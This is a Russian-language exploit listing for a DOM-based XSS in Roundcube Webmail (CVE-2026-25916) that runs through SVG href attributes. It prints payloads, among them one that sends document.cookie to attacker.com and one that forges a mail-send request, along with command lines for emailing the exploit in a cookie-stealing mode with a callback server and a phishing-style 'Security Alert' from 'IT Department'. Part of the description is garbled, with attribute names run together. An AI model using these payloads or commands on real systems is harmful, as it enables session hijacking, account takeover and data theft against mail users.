
Python-эксплойт для DOM-based XSS в Roundcube Webmail (CVE-2026-25916) через атрибуты href в SVG, позволяющий перехват сессии и эксфильтрацию данных с помощью специально сформированных писем.
Название эксплойта: DOM XSS в Roundcube Webmail через SVG href (CVE-2026-25916)
Автор: Mohammed Idrees Banyamer
Контакты: GitHub @mbanyamer | Instagram @banyamer_security
Страна: Иордания
Дата: 9 февраля 2026 года
CVE: CVE-2026-25916
Тип: DOM-based Cross-Site Scripting (XSS)
Платформа: Веб-приложение
Протестировано на: Roundcube 1.6.8, Ubuntu 22.04
Оценка CVSS: 6.1 (Средний)
⚠️ ВНИМАНИЕ: Этот эксплойт предназначен только для образовательных целей и авторизованного тестирования.
Используйте только на системах, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
Автор не несёт ответственности за любое неправомерное использование или незаконные действия.
Версии Roundcube Webmail до 1.6.9 содержат DOM-based XSS уязвимость в обработке SVG. Приложение не выполняет надлежащую санитизацию атрибутов и в SVG-элементах, что позволяет выполнять JavaScript через специально созданные электронные письма.
hrefxlink:hrefЗатронутые версии: Roundcube Webmail < 1.6.9
Исправлено в: Версия 1.6.9 (коммит 26d7677)
CWE: CWE-79 — Некорректная нейтрализация входных данных при генерации веб-страницы
Вектор атаки: Удалённо через электронную почту
Воздействие: Перехват сессии, захват учётной записи, кража данных
Уязвимость существует в rcube_washtml.php, где атрибуты href в SVG-элементах не проверялись должным образом:
<!-- Уязвимые SVG-элементы -->
<use href="javascript:alert(document.cookie)">
<image xlink:href="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)">
<a xlink:href="javascript:fetch('/?_task=mail&_action=send',{method:'POST',body:'[email protected]'})">
```bash
python3 cve-2026-25916.py -s smtp.gmail.com -p 587 -u [email protected] -w your_password -r [email protected]
python3 cve-2026-25916.py \
-s smtp.gmail.com \
-p 587 \
-u [email protected] \
-w app_password \
-r [email protected] \
-t session_steal \
--callback https://yourserver.com/collect \
--subject "Security Alert" \
--from-name "IT Department"